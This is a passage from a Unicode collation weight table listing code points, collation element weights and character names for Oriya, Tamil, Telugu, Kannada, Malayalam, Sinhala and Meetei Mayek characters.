ORIYA LETTER TA +0B25 ; [.270F.0020.0002] # ORIYA LETTER THA +0B26 ; [.2710.0020.0002] # ORIYA LETTER DA +0B27 ; [.2711.0020.0002] # ORIYA LETTER DHA +0B28 ; [.2712.0020.0002] # ORIYA LETTER NA +0B2A ; [.2713.0020.0002] # ORIYA LETTER PA +0B2B ; [.2714.0020.0002] # ORIYA LETTER PHA +0B2C ; [.2715.0020.0002] # ORIYA LETTER BA +0B2D ; [.2716.0020.0002] # ORIYA LETTER BHA +0B2E ; [.2717.0020.0002] # ORIYA LETTER MA +0B2F ; [.2718.0020.0002] # ORIYA LETTER YA +0B5F ; [.2719.0020.0002] # ORIYA LETTER YYA +0B30 ; [.271A.0020.0002] # ORIYA LETTER RA +0B32 ; [.271B.0020.0002] # ORIYA LETTER LA +0B33 ; [.271C.0020.0002] # ORIYA LETTER LLA +0B35 ; [.271D.0020.0002] # ORIYA LETTER VA +0B71 ; [.271E.0020.0002] # ORIYA LETTER WA +0B36 ; [.271F.0020.0002] # ORIYA LETTER SHA +0B37 ; [.2720.0020.0002] # ORIYA LETTER SSA +0B38 ; [.2721.0020.0002] # ORIYA LETTER SA +0B39 ; [.2722.0020.0002] # ORIYA LETTER HA +0B3D ; [.2723.0020.0002] # ORIYA SIGN AVAGRAHA +0B3E ; [.2724.0020.0002] # ORIYA VOWEL SIGN AA +0B3F ; [.2725.0020.0002] # ORIYA VOWEL SIGN I +0B40 ; [.2726.0020.0002] # ORIYA VOWEL SIGN II +0B41 ; [.2727.0020.0002] # ORIYA VOWEL SIGN U +0B42 ; [.2728.0020.0002] # ORIYA VOWEL SIGN UU +0B43 ; [.2729.0020.0002] # ORIYA VOWEL SIGN VOCALIC R +0B44 ; [.272A.0020.0002] # ORIYA VOWEL SIGN VOCALIC RR +0B62 ; [.272B.0020.0002] # ORIYA VOWEL SIGN VOCALIC L +0B63 ; [.272C.0020.0002] # ORIYA VOWEL SIGN VOCALIC LL +0B47 ; [.272D.0020.0002] # ORIYA VOWEL SIGN E +0B48 ; [.272E.0020.0002] # ORIYA VOWEL SIGN AI +0B47 0B56 ; [.272E.0020.0002] # ORIYA VOWEL SIGN AI +0B4B ; [.272F.0020.0002] # ORIYA VOWEL SIGN O +0B47 0B3E ; [.272F.0020.0002] # ORIYA VOWEL SIGN O +0B4C ; [.2730.0020.0002] # ORIYA VOWEL SIGN AU +0B47 0B57 ; [.2730.0020.0002] # ORIYA VOWEL SIGN AU +0B4D ; [.2731.0020.0002] # ORIYA SIGN VIRAMA +0B56 ; [.2732.0020.0002] # ORIYA AI LENGTH MARK +0B57 ; [.2733.0020.0002] # ORIYA AU LENGTH MARK +0BD0 ; [.2734.0020.0002] # TAMIL OM +0B85 ; [.2735.0020.0002] # TAMIL LETTER A +0B86 ; [.2736.0020.0002] # TAMIL LETTER AA +0B87 ; [.2737.0020.0002] # TAMIL LETTER I +0B88 ; [.2738.0020.0002] # TAMIL LETTER II +0B89 ; [.2739.0020.0002] # TAMIL LETTER U +0B8A ; [.273A.0020.0002] # TAMIL LETTER UU +0B8E ; [.273B.0020.0002] # TAMIL LETTER E +0B8F ; [.273C.0020.0002] # TAMIL LETTER EE +0B90 ; [.273D.0020.0002] # TAMIL LETTER AI +0B92 ; [.273E.0020.0002] # TAMIL LETTER O +0B93 ; [.273F.0020.0002] # TAMIL LETTER OO +0B94 ; [.2740.0020.0002] # TAMIL LETTER AU +0B92 0BD7 ; [.2740.0020.0002] # TAMIL LETTER AU +0B83 ; [.2741.0020.0002] # TAMIL SIGN VISARGA +0B95 ; [.2742.0020.0002] # TAMIL LETTER KA +0B99 ; [.2743.0020.0002] # TAMIL LETTER NGA +0B9A ; [.2744.0020.0002] # TAMIL LETTER CA +0B9E ; [.2745.0020.0002] # TAMIL LETTER NYA +0B9F ; [.2746.0020.0002] # TAMIL LETTER TTA +0BA3 ; [.2747.0020.0002] # TAMIL LETTER NNA +0BA4 ; [.2748.0020.0002] # TAMIL LETTER TA +0BA8 ; [.2749.0020.0002] # TAMIL LETTER NA +0BAA ; [.274A.0020.0002] # TAMIL LETTER PA +0BAE ; [.274B.0020.0002] # TAMIL LETTER MA +0BAF ; [.274C.0020.0002] # TAMIL LETTER YA +0BB0 ; [.274D.0020.0002] # TAMIL LETTER RA +0BB2 ; [.274E.0020.0002] # TAMIL LETTER LA +0BB5 ; [.274F.0020.0002] # TAMIL LETTER VA +0BB4 ; [.2750.0020.0002] # TAMIL LETTER LLLA +0BB3 ; [.2751.0020.0002] # TAMIL LETTER LLA +0BB1 ; [.2752.0020.0002] # TAMIL LETTER RRA +0BA9 ; [.2753.0020.0002] # TAMIL LETTER NNNA +0B9C ; [.2754.0020.0002] # TAMIL LETTER JA +0BB6 ; [.2755.0020.0002] # TAMIL LETTER SHA +0BB7 ; [.2756.0020.0002] # TAMIL LETTER SSA +0BB8 ; [.2757.0020.0002] # TAMIL LETTER SA +0BB9 ; [.2758.0020.0002] # TAMIL LETTER HA +0BBE ; [.2759.0020.0002] # TAMIL VOWEL SIGN AA +0BBF ; [.275A.0020.0002] # TAMIL VOWEL SIGN I +0BC0 ; [.275B.0020.0002] # TAMIL VOWEL SIGN II +0BC1 ; [.275C.0020.0002] # TAMIL VOWEL SIGN U +0BC2 ; [.275D.0020.0002] # TAMIL VOWEL SIGN UU +0BC6 ; [.275E.0020.0002] # TAMIL VOWEL SIGN E +0BC7 ; [.275F.0020.0002] # TAMIL VOWEL SIGN EE +0BC8 ; [.2760.0020.0002] # TAMIL VOWEL SIGN AI +0BCA ; [.2761.0020.0002] # TAMIL VOWEL SIGN O +0BC6 0BBE ; [.2761.0020.0002] # TAMIL VOWEL SIGN O +0BCB ; [.2762.0020.0002] # TAMIL VOWEL SIGN OO +0BC7 0BBE ; [.2762.0020.0002] # TAMIL VOWEL SIGN OO +0BCC ; [.2763.0020.0002] # TAMIL VOWEL SIGN AU +0BC6 0BD7 ; [.2763.0020.0002] # TAMIL VOWEL SIGN AU +0BCD ; [.2764.0020.0002] # TAMIL SIGN VIRAMA +0BD7 ; [.2765.0020.0002] # TAMIL AU LENGTH MARK +0C05 ; [.2766.0020.0002] # TELUGU LETTER A +0C06 ; [.2767.0020.0002] # TELUGU LETTER AA +0C07 ; [.2768.0020.0002] # TELUGU LETTER I +0C08 ; [.2769.0020.0002] # TELUGU LETTER II +0C09 ; [.276A.0020.0002] # TELUGU LETTER U +0C0A ; [.276B.0020.0002] # TELUGU LETTER UU +0C0B ; [.276C.0020.0002] # TELUGU LETTER VOCALIC R +0C60 ; [.276D.0020.0002] # TELUGU LETTER VOCALIC RR +0C0C ; [.276E.0020.0002] # TELUGU LETTER VOCALIC L +0C61 ; [.276F.0020.0002] # TELUGU LETTER VOCALIC LL +0C0E ; [.2770.0020.0002] # TELUGU LETTER E +0C0F ; [.2771.0020.0002] # TELUGU LETTER EE +0C10 ; [.2772.0020.0002] # TELUGU LETTER AI +0C12 ; [.2773.0020.0002] # TELUGU LETTER O +0C13 ; [.2774.0020.0002] # TELUGU LETTER OO +0C14 ; [.2775.0020.0002] # TELUGU LETTER AU +0C15 ; [.2776.0020.0002] # TELUGU LETTER KA +0C16 ; [.2777.0020.0002] # TELUGU LETTER KHA +0C17 ; [.2778.0020.0002] # TELUGU LETTER GA +0C18 ; [.2779.0020.0002] # TELUGU LETTER GHA +0C19 ; [.277A.0020.0002] # TELUGU LETTER NGA +0C1A ; [.277B.0020.0002] # TELUGU LETTER CA +0C58 ; [.277C.0020.0002] # TELUGU LETTER TSA +0C1B ; [.277D.0020.0002] # TELUGU LETTER CHA +0C1C ; [.277E.0020.0002] # TELUGU LETTER JA +0C59 ; [.277F.0020.0002] # TELUGU LETTER DZA +0C1D ; [.2780.0020.0002] # TELUGU LETTER JHA +0C1E ; [.2781.0020.0002] # TELUGU LETTER NYA +0C1F ; [.2782.0020.0002] # TELUGU LETTER TTA +0C20 ; [.2783.0020.0002] # TELUGU LETTER TTHA +0C21 ; [.2784.0020.0002] # TELUGU LETTER DDA +0C22 ; [.2785.0020.0002] # TELUGU LETTER DDHA +0C23 ; [.2786.0020.0002] # TELUGU LETTER NNA +0C24 ; [.2787.0020.0002] # TELUGU LETTER TA +0C25 ; [.2788.0020.0002] # TELUGU LETTER THA +0C26 ; [.2789.0020.0002] # TELUGU LETTER DA +0C27 ; [.278A.0020.0002] # TELUGU LETTER DHA +0C28 ; [.278B.0020.0002] # TELUGU LETTER NA +0C2A ; [.278C.0020.0002] # TELUGU LETTER PA +0C2B ; [.278D.0020.0002] # TELUGU LETTER PHA +0C2C ; [.278E.0020.0002] # TELUGU LETTER BA +0C2D ; [.278F.0020.0002] # TELUGU LETTER BHA +0C2E ; [.2790.0020.0002] # TELUGU LETTER MA +0C2F ; [.2791.0020.0002] # TELUGU LETTER YA +0C30 ; [.2792.0020.0002] # TELUGU LETTER RA +0C31 ; [.2793.0020.0002] # TELUGU LETTER RRA +0C32 ; [.2794.0020.0002] # TELUGU LETTER LA +0C35 ; [.2795.0020.0002] # TELUGU LETTER VA +0C36 ; [.2796.0020.0002] # TELUGU LETTER SHA +0C37 ; [.2797.0020.0002] # TELUGU LETTER SSA +0C38 ; [.2798.0020.0002] # TELUGU LETTER SA +0C39 ; [.2799.0020.0002] # TELUGU LETTER HA +0C33 ; [.279A.0020.0002] # TELUGU LETTER LLA +0C34 ; [.279B.0020.0002] # TELUGU LETTER LLLA +0C5A ; [.279C.0020.0002] # TELUGU LETTER RRRA +0C3D ; [.279D.0020.0002] # TELUGU SIGN AVAGRAHA +0C3E ; [.279E.0020.0002] # TELUGU VOWEL SIGN AA +0C3F ; [.279F.0020.0002] # TELUGU VOWEL SIGN I +0C40 ; [.27A0.0020.0002] # TELUGU VOWEL SIGN II +0C41 ; [.27A1.0020.0002] # TELUGU VOWEL SIGN U +0C42 ; [.27A2.0020.0002] # TELUGU VOWEL SIGN UU +0C43 ; [.27A3.0020.0002] # TELUGU VOWEL SIGN VOCALIC R +0C44 ; [.27A4.0020.0002] # TELUGU VOWEL SIGN VOCALIC RR +0C62 ; [.27A5.0020.0002] # TELUGU VOWEL SIGN VOCALIC L +0C63 ; [.27A6.0020.0002] # TELUGU VOWEL SIGN VOCALIC LL +0C46 ; [.27A7.0020.0002] # TELUGU VOWEL SIGN E +0C47 ; [.27A8.0020.0002] # TELUGU VOWEL SIGN EE +0C48 ; [.27A9.0020.0002] # TELUGU VOWEL SIGN AI +0C46 0C56 ; [.27A9.0020.0002] # TELUGU VOWEL SIGN AI +0C4A ; [.27AA.0020.0002] # TELUGU VOWEL SIGN O +0C4B ; [.27AB.0020.0002] # TELUGU VOWEL SIGN OO +0C4C ; [.27AC.0020.0002] # TELUGU VOWEL SIGN AU +0C4D ; [.27AD.0020.0002] # TELUGU SIGN VIRAMA +0C55 ; [.27AE.0020.0002] # TELUGU LENGTH MARK +0C56 ; [.27AF.0020.0002] # TELUGU AI LENGTH MARK +0C85 ; [.27B0.0020.0002] # KANNADA LETTER A +0C86 ; [.27B1.0020.0002] # KANNADA LETTER AA +0C87 ; [.27B2.0020.0002] # KANNADA LETTER I +0C88 ; [.27B3.0020.0002] # KANNADA LETTER II +0C89 ; [.27B4.0020.0002] # KANNADA LETTER U +0C8A ; [.27B5.0020.0002] # KANNADA LETTER UU +0C8B ; [.27B6.0020.0002] # KANNADA LETTER VOCALIC R +0CE0 ; [.27B7.0020.0002] # KANNADA LETTER VOCALIC RR +0C8C ; [.27B8.0020.0002] # KANNADA LETTER VOCALIC L +0CE1 ; [.27B9.0020.0002] # KANNADA LETTER VOCALIC LL +0C8E ; [.27BA.0020.0002] # KANNADA LETTER E +0C8F ; [.27BB.0020.0002] # KANNADA LETTER EE +0C90 ; [.27BC.0020.0002] # KANNADA LETTER AI +0C92 ; [.27BD.0020.0002] # KANNADA LETTER O +0C93 ; [.27BE.0020.0002] # KANNADA LETTER OO +0C94 ; [.27BF.0020.0002] # KANNADA LETTER AU +0C95 ; [.27C0.0020.0002] # KANNADA LETTER KA +0C96 ; [.27C1.0020.0002] # KANNADA LETTER KHA +0C97 ; [.27C2.0020.0002] # KANNADA LETTER GA +0C98 ; [.27C3.0020.0002] # KANNADA LETTER GHA +0C99 ; [.27C4.0020.0002] # KANNADA LETTER NGA +0C9A ; [.27C5.0020.0002] # KANNADA LETTER CA +0C9B ; [.27C6.0020.0002] # KANNADA LETTER CHA +0C9C ; [.27C7.0020.0002] # KANNADA LETTER JA +0C9D ; [.27C8.0020.0002] # KANNADA LETTER JHA +0C9E ; [.27C9.0020.0002] # KANNADA LETTER NYA +0C9F ; [.27CA.0020.0002] # KANNADA LETTER TTA +0CA0 ; [.27CB.0020.0002] # KANNADA LETTER TTHA +0CA1 ; [.27CC.0020.0002] # KANNADA LETTER DDA +0CA2 ; [.27CD.0020.0002] # KANNADA LETTER DDHA +0CA3 ; [.27CE.0020.0002] # KANNADA LETTER NNA +0CA4 ; [.27CF.0020.0002] # KANNADA LETTER TA +0CA5 ; [.27D0.0020.0002] # KANNADA LETTER THA +0CA6 ; [.27D1.0020.0002] # KANNADA LETTER DA +0CA7 ; [.27D2.0020.0002] # KANNADA LETTER DHA +0CA8 ; [.27D3.0020.0002] # KANNADA LETTER NA +0CAA ; [.27D4.0020.0002] # KANNADA LETTER PA +0CAB ; [.27D5.0020.0002] # KANNADA LETTER PHA +0CAC ; [.27D6.0020.0002] # KANNADA LETTER BA +0CAD ; [.27D7.0020.0002] # KANNADA LETTER BHA +0CAE ; [.27D8.0020.0002] # KANNADA LETTER MA +0CAF ; [.27D9.0020.0002] # KANNADA LETTER YA +0CB0 ; [.27DA.0020.0002] # KANNADA LETTER RA +0CB1 ; [.27DB.0020.0002] # KANNADA LETTER RRA +0CB2 ; [.27DC.0020.0002] # KANNADA LETTER LA +0CB5 ; [.27DD.0020.0002] # KANNADA LETTER VA +0CB6 ; [.27DE.0020.0002] # KANNADA LETTER SHA +0CB7 ; [.27DF.0020.0002] # KANNADA LETTER SSA +0CB8 ; [.27E0.0020.0002] # KANNADA LETTER SA +0CB9 ; [.27E1.0020.0002] # KANNADA LETTER HA +0CB3 ; [.27E2.0020.0002] # KANNADA LETTER LLA +0CDE ; [.27E3.0020.0002] # KANNADA LETTER FA +0CBD ; [.27E4.0020.0002] # KANNADA SIGN AVAGRAHA +0CF1 ; [.27E5.0020.0002] # KANNADA SIGN JIHVAMULIYA +0CF2 ; [.27E6.0020.0002] # KANNADA SIGN UPADHMANIYA +0CBE ; [.27E7.0020.0002] # KANNADA VOWEL SIGN AA +0CBF ; [.27E8.0020.0002] # KANNADA VOWEL SIGN I +0CC0 ; [.27E9.0020.0002] # KANNADA VOWEL SIGN II +0CBF 0CD5 ; [.27E9.0020.0002] # KANNADA VOWEL SIGN II +0CC1 ; [.27EA.0020.0002] # KANNADA VOWEL SIGN U +0CC2 ; [.27EB.0020.0002] # KANNADA VOWEL SIGN UU +0CC3 ; [.27EC.0020.0002] # KANNADA VOWEL SIGN VOCALIC R +0CC4 ; [.27ED.0020.0002] # KANNADA VOWEL SIGN VOCALIC RR +0CE2 ; [.27EE.0020.0002] # KANNADA VOWEL SIGN VOCALIC L +0CE3 ; [.27EF.0020.0002] # KANNADA VOWEL SIGN VOCALIC LL +0CC6 ; [.27F0.0020.0002] # KANNADA VOWEL SIGN E +0CC7 ; [.27F1.0020.0002] # KANNADA VOWEL SIGN EE +0CC6 0CD5 ; [.27F1.0020.0002] # KANNADA VOWEL SIGN EE +0CC8 ; [.27F2.0020.0002] # KANNADA VOWEL SIGN AI +0CC6 0CD6 ; [.27F2.0020.0002] # KANNADA VOWEL SIGN AI +0CCA ; [.27F3.0020.0002] # KANNADA VOWEL SIGN O +0CC6 0CC2 ; [.27F3.0020.0002] # KANNADA VOWEL SIGN O +0CCB ; [.27F4.0020.0002] # KANNADA VOWEL SIGN OO +0CC6 0CC2 0CD5 ; [.27F4.0020.0002] # KANNADA VOWEL SIGN OO +0CCA 0CD5 ; [.27F4.0020.0002] # KANNADA VOWEL SIGN OO +0CCC ; [.27F5.0020.0002] # KANNADA VOWEL SIGN AU +0CCD ; [.27F6.0020.0002] # KANNADA SIGN VIRAMA +0CD5 ; [.27F7.0020.0002] # KANNADA LENGTH MARK +0CD6 ; [.27F8.0020.0002] # KANNADA AI LENGTH MARK +0D05 ; [.27F9.0020.0002] # MALAYALAM LETTER A +0D06 ; [.27FA.0020.0002] # MALAYALAM LETTER AA +0D07 ; [.27FB.0020.0002] # MALAYALAM LETTER I +0D08 ; [.27FC.0020.0002] # MALAYALAM LETTER II +0D5F ; [.27FD.0020.0002] # MALAYALAM LETTER ARCHAIC II +0D09 ; [.27FE.0020.0002] # MALAYALAM LETTER U +0D0A ; [.27FF.0020.0002] # MALAYALAM LETTER UU +0D0B ; [.2800.0020.0002] # MALAYALAM LETTER VOCALIC R +0D60 ; [.2801.0020.0002] # MALAYALAM LETTER VOCALIC RR +0D0C ; [.2802.0020.0002] # MALAYALAM LETTER VOCALIC L +0D61 ; [.2803.0020.0002] # MALAYALAM LETTER VOCALIC LL +0D0E ; [.2804.0020.0002] # MALAYALAM LETTER E +0D0F ; [.2805.0020.0002] # MALAYALAM LETTER EE +0D10 ; [.2806.0020.0002] # MALAYALAM LETTER AI +0D12 ; [.2807.0020.0002] # MALAYALAM LETTER O +0D13 ; [.2808.0020.0002] # MALAYALAM LETTER OO +0D14 ; [.2809.0020.0002] # MALAYALAM LETTER AU +0D15 ; [.280A.0020.0002] # MALAYALAM LETTER KA +0D7F ; [.280A.0020.0004][.2841.0020.0004] # MALAYALAM LETTER CHILLU K +0D16 ; [.280B.0020.0002] # MALAYALAM LETTER KHA +0D17 ; [.280C.0020.0002] # MALAYALAM LETTER GA +0D18 ; [.280D.0020.0002] # MALAYALAM LETTER GHA +0D19 ; [.280E.0020.0002] # MALAYALAM LETTER NGA +0D1A ; [.280F.0020.0002] # MALAYALAM LETTER CA +0D1B ; [.2810.0020.0002] # MALAYALAM LETTER CHA +0D1C ; [.2811.0020.0002] # MALAYALAM LETTER JA +0D1D ; [.2812.0020.0002] # MALAYALAM LETTER JHA +0D1E ; [.2813.0020.0002] # MALAYALAM LETTER NYA +0D1F ; [.2814.0020.0002] # MALAYALAM LETTER TTA +0D20 ; [.2815.0020.0002] # MALAYALAM LETTER TTHA +0D21 ; [.2816.0020.0002] # MALAYALAM LETTER DDA +0D22 ; [.2817.0020.0002] # MALAYALAM LETTER DDHA +0D23 ; [.2818.0020.0002] # MALAYALAM LETTER NNA +0D7A ; [.2818.0020.0004][.2841.0020.0004] # MALAYALAM LETTER CHILLU NN +0D24 ; [.2819.0020.0002] # MALAYALAM LETTER TA +0D25 ; [.281A.0020.0002] # MALAYALAM LETTER THA +0D26 ; [.281B.0020.0002] # MALAYALAM LETTER DA +0D27 ; [.281C.0020.0002] # MALAYALAM LETTER DHA +0D28 ; [.281D.0020.0002] # MALAYALAM LETTER NA +0D7B ; [.281D.0020.0004][.2841.0020.0004] # MALAYALAM LETTER CHILLU N +0D29 ; [.281E.0020.0002] # MALAYALAM LETTER NNNA +0D2A ; [.281F.0020.0002] # MALAYALAM LETTER PA +0D2B ; [.2820.0020.0002] # MALAYALAM LETTER PHA +0D2C ; [.2821.0020.0002] # MALAYALAM LETTER BA +0D2D ; [.2822.0020.0002] # MALAYALAM LETTER BHA +0D2E ; [.2823.0020.0002] # MALAYALAM LETTER MA +0D2F ; [.2824.0020.0002] # MALAYALAM LETTER YA +0D30 ; [.2825.0020.0002] # MALAYALAM LETTER RA +0D4E ; [.2825.0020.0004][.2841.0020.0004] # MALAYALAM LETTER DOT REPH +0D7C ; [.2825.0020.0004][.2841.0020.0004] # MALAYALAM LETTER CHILLU RR +0D32 ; [.2826.0020.0002] # MALAYALAM LETTER LA +0D7D ; [.2826.0020.0004][.2841.0020.0004] # MALAYALAM LETTER CHILLU L +0D35 ; [.2827.0020.0002] # MALAYALAM LETTER VA +0D36 ; [.2828.0020.0002] # MALAYALAM LETTER SHA +0D37 ; [.2829.0020.0002] # MALAYALAM LETTER SSA +0D38 ; [.282A.0020.0002] # MALAYALAM LETTER SA +0D39 ; [.282B.0020.0002] # MALAYALAM LETTER HA +0D33 ; [.282C.0020.0002] # MALAYALAM LETTER LLA +0D7E ; [.282C.0020.0004][.2841.0020.0004] # MALAYALAM LETTER CHILLU LL +0D34 ; [.282D.0020.0002] # MALAYALAM LETTER LLLA +0D31 ; [.282E.0020.0002] # MALAYALAM LETTER RRA +0D3A ; [.282F.0020.0002] # MALAYALAM LETTER TTTA +0D3D ; [.2830.0020.0002] # MALAYALAM SIGN AVAGRAHA +0D3E ; [.2831.0020.0002] # MALAYALAM VOWEL SIGN AA +0D3F ; [.2832.0020.0002] # MALAYALAM VOWEL SIGN I +0D40 ; [.2833.0020.0002] # MALAYALAM VOWEL SIGN II +0D41 ; [.2834.0020.0002] # MALAYALAM VOWEL SIGN U +0D42 ; [.2835.0020.0002] # MALAYALAM VOWEL SIGN UU +0D43 ; [.2836.0020.0002] # MALAYALAM VOWEL SIGN VOCALIC R +0D44 ; [.2837.0020.0002] # MALAYALAM VOWEL SIGN VOCALIC RR +0D62 ; [.2838.0020.0002] # MALAYALAM VOWEL SIGN VOCALIC L +0D63 ; [.2839.0020.0002] # MALAYALAM VOWEL SIGN VOCALIC LL +0D46 ; [.283A.0020.0002] # MALAYALAM VOWEL SIGN E +0D47 ; [.283B.0020.0002] # MALAYALAM VOWEL SIGN EE +0D48 ; [.283C.0020.0002] # MALAYALAM VOWEL SIGN AI +0D4A ; [.283D.0020.0002] # MALAYALAM VOWEL SIGN O +0D46 0D3E ; [.283D.0020.0002] # MALAYALAM VOWEL SIGN O +0D4B ; [.283E.0020.0002] # MALAYALAM VOWEL SIGN OO +0D47 0D3E ; [.283E.0020.0002] # MALAYALAM VOWEL SIGN OO +0D4C ; [.283F.0020.0002] # MALAYALAM VOWEL SIGN AU +0D46 0D57 ; [.283F.0020.0002] # MALAYALAM VOWEL SIGN AU +0D57 ; [.2840.0020.0002] # MALAYALAM AU LENGTH MARK +0D4D ; [.2841.0020.0002] # MALAYALAM SIGN VIRAMA +0D85 ; [.2842.0020.0002] # SINHALA LETTER AYANNA +0D86 ; [.2843.0020.0002] # SINHALA LETTER AAYANNA +0D87 ; [.2844.0020.0002] # SINHALA LETTER AEYANNA +0D88 ; [.2845.0020.0002] # SINHALA LETTER AEEYANNA +0D89 ; [.2846.0020.0002] # SINHALA LETTER IYANNA +0D8A ; [.2847.0020.0002] # SINHALA LETTER IIYANNA +0D8B ; [.2848.0020.0002] # SINHALA LETTER UYANNA +0D8C ; [.2849.0020.0002] # SINHALA LETTER UUYANNA +0D8D ; [.284A.0020.0002] # SINHALA LETTER IRUYANNA +0D8E ; [.284B.0020.0002] # SINHALA LETTER IRUUYANNA +0D8F ; [.284C.0020.0002] # SINHALA LETTER ILUYANNA +0D90 ; [.284D.0020.0002] # SINHALA LETTER ILUUYANNA +0D91 ; [.284E.0020.0002] # SINHALA LETTER EYANNA +0D92 ; [.284F.0020.0002] # SINHALA LETTER EEYANNA +0D93 ; [.2850.0020.0002] # SINHALA LETTER AIYANNA +0D94 ; [.2851.0020.0002] # SINHALA LETTER OYANNA +0D95 ; [.2852.0020.0002] # SINHALA LETTER OOYANNA +0D96 ; [.2853.0020.0002] # SINHALA LETTER AUYANNA +0D9A ; [.2854.0020.0002] # SINHALA LETTER ALPAPRAANA KAYANNA +0D9B ; [.2855.0020.0002] # SINHALA LETTER MAHAAPRAANA KAYANNA +0D9C ; [.2856.0020.0002] # SINHALA LETTER ALPAPRAANA GAYANNA +0D9D ; [.2857.0020.0002] # SINHALA LETTER MAHAAPRAANA GAYANNA +0D9E ; [.2858.0020.0002] # SINHALA LETTER KANTAJA NAASIKYAYA +0D9F ; [.2859.0020.0002] # SINHALA LETTER SANYAKA GAYANNA +0DA0 ; [.285A.0020.0002] # SINHALA LETTER ALPAPRAANA CAYANNA +0DA1 ; [.285B.0020.0002] # SINHALA LETTER MAHAAPRAANA CAYANNA +0DA2 ; [.285C.0020.0002] # SINHALA LETTER ALPAPRAANA JAYANNA +0DA3 ; [.285D.0020.0002] # SINHALA LETTER MAHAAPRAANA JAYANNA +0DA4 ; [.285E.0020.0002] # SINHALA LETTER TAALUJA NAASIKYAYA +0DA5 ; [.285F.0020.0002] # SINHALA LETTER TAALUJA SANYOOGA NAAKSIKYAYA +0DA6 ; [.2860.0020.0002] # SINHALA LETTER SANYAKA JAYANNA +0DA7 ; [.2861.0020.0002] # SINHALA LETTER ALPAPRAANA TTAYANNA +0DA8 ; [.2862.0020.0002] # SINHALA LETTER MAHAAPRAANA TTAYANNA +0DA9 ; [.2863.0020.0002] # SINHALA LETTER ALPAPRAANA DDAYANNA +0DAA ; [.2864.0020.0002] # SINHALA LETTER MAHAAPRAANA DDAYANNA +0DAB ; [.2865.0020.0002] # SINHALA LETTER MUURDHAJA NAYANNA +0DAC ; [.2866.0020.0002] # SINHALA LETTER SANYAKA DDAYANNA +0DAD ; [.2867.0020.0002] # SINHALA LETTER ALPAPRAANA TAYANNA +0DAE ; [.2868.0020.0002] # SINHALA LETTER MAHAAPRAANA TAYANNA +0DAF ; [.2869.0020.0002] # SINHALA LETTER ALPAPRAANA DAYANNA +0DB0 ; [.286A.0020.0002] # SINHALA LETTER MAHAAPRAANA DAYANNA +0DB1 ; [.286B.0020.0002] # SINHALA LETTER DANTAJA NAYANNA +0DB3 ; [.286C.0020.0002] # SINHALA LETTER SANYAKA DAYANNA +0DB4 ; [.286D.0020.0002] # SINHALA LETTER ALPAPRAANA PAYANNA +0DB5 ; [.286E.0020.0002] # SINHALA LETTER MAHAAPRAANA PAYANNA +0DB6 ; [.286F.0020.0002] # SINHALA LETTER ALPAPRAANA BAYANNA +0DB7 ; [.2870.0020.0002] # SINHALA LETTER MAHAAPRAANA BAYANNA +0DB8 ; [.2871.0020.0002] # SINHALA LETTER MAYANNA +0DB9 ; [.2872.0020.0002] # SINHALA LETTER AMBA BAYANNA +0DBA ; [.2873.0020.0002] # SINHALA LETTER YAYANNA +0DBB ; [.2874.0020.0002] # SINHALA LETTER RAYANNA +0DBD ; [.2875.0020.0002] # SINHALA LETTER DANTAJA LAYANNA +0DC0 ; [.2876.0020.0002] # SINHALA LETTER VAYANNA +0DC1 ; [.2877.0020.0002] # SINHALA LETTER TAALUJA SAYANNA +0DC2 ; [.2878.0020.0002] # SINHALA LETTER MUURDHAJA SAYANNA +0DC3 ; [.2879.0020.0002] # SINHALA LETTER DANTAJA SAYANNA +0DC4 ; [.287A.0020.0002] # SINHALA LETTER HAYANNA +0DC5 ; [.287B.0020.0002] # SINHALA LETTER MUURDHAJA LAYANNA +0DC6 ; [.287C.0020.0002] # SINHALA LETTER FAYANNA +0DCF ; [.287D.0020.0002] # SINHALA VOWEL SIGN AELA-PILLA +0DD0 ; [.287E.0020.0002] # SINHALA VOWEL SIGN KETTI AEDA-PILLA +0DD1 ; [.287F.0020.0002] # SINHALA VOWEL SIGN DIGA AEDA-PILLA +0DD2 ; [.2880.0020.0002] # SINHALA VOWEL SIGN KETTI IS-PILLA +0DD3 ; [.2881.0020.0002] # SINHALA VOWEL SIGN DIGA IS-PILLA +0DD4 ; [.2882.0020.0002] # SINHALA VOWEL SIGN KETTI PAA-PILLA +0DD6 ; [.2883.0020.0002] # SINHALA VOWEL SIGN DIGA PAA-PILLA +0DD8 ; [.2884.0020.0002] # SINHALA VOWEL SIGN GAETTA-PILLA +0DF2 ; [.2885.0020.0002] # SINHALA VOWEL SIGN DIGA GAETTA-PILLA +0DDF ; [.2886.0020.0002] # SINHALA VOWEL SIGN GAYANUKITTA +0DF3 ; [.2887.0020.0002] # SINHALA VOWEL SIGN DIGA GAYANUKITTA +0DD9 ; [.2888.0020.0002] # SINHALA VOWEL SIGN KOMBUVA +0DDA ; [.2889.0020.0002] # SINHALA VOWEL SIGN DIGA KOMBUVA +0DD9 0DCA ; [.2889.0020.0002] # SINHALA VOWEL SIGN DIGA KOMBUVA +0DDB ; [.288A.0020.0002] # SINHALA VOWEL SIGN KOMBU DEKA +0DDC ; [.288B.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA AELA-PILLA +0DD9 0DCF ; [.288B.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA AELA-PILLA +0DDD ; [.288C.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA DIGA AELA-PILLA +0DD9 0DCF 0DCA ; [.288C.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA DIGA AELA-PILLA +0DDC 0DCA ; [.288C.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA DIGA AELA-PILLA +0DDE ; [.288D.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA GAYANUKITTA +0DD9 0DDF ; [.288D.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA GAYANUKITTA +0DCA ; [.288E.0020.0002] # SINHALA SIGN AL-LAKUNA +AAF2 ; [.288F.0020.0002] # MEETEI MAYEK ANJI +ABC0 ; [.2890.0020.0002] # MEETEI MAYEK LETTER KOK +ABC1 ; [.2891.0020.0002] # MEETEI MAYEK LETTER SAM +ABC2 ; [.2892.0020.0002] # MEETEI MAYEK LETTER LAI +ABC3 ; [.2893.0020.0002] # MEETEI MAYEK LETTER MIT +ABC4 ; [.2894.0020.0002] # MEETEI MAYEK LETTER PA +ABC5 ; [.2895.0020.0002] # MEETEI MAYEK LETTER NA +ABC6 ; [.2896.0020.0002] # MEETEI MAYEK LETTER CHIL +ABC7 ; [.2897.0020.0002] # MEETEI MAYEK LETTER TIL +ABC8 ; [.2898.0020.0002] # MEETEI MAYEK LETTER KHOU +ABC9 ; [.2899.0020.0002] 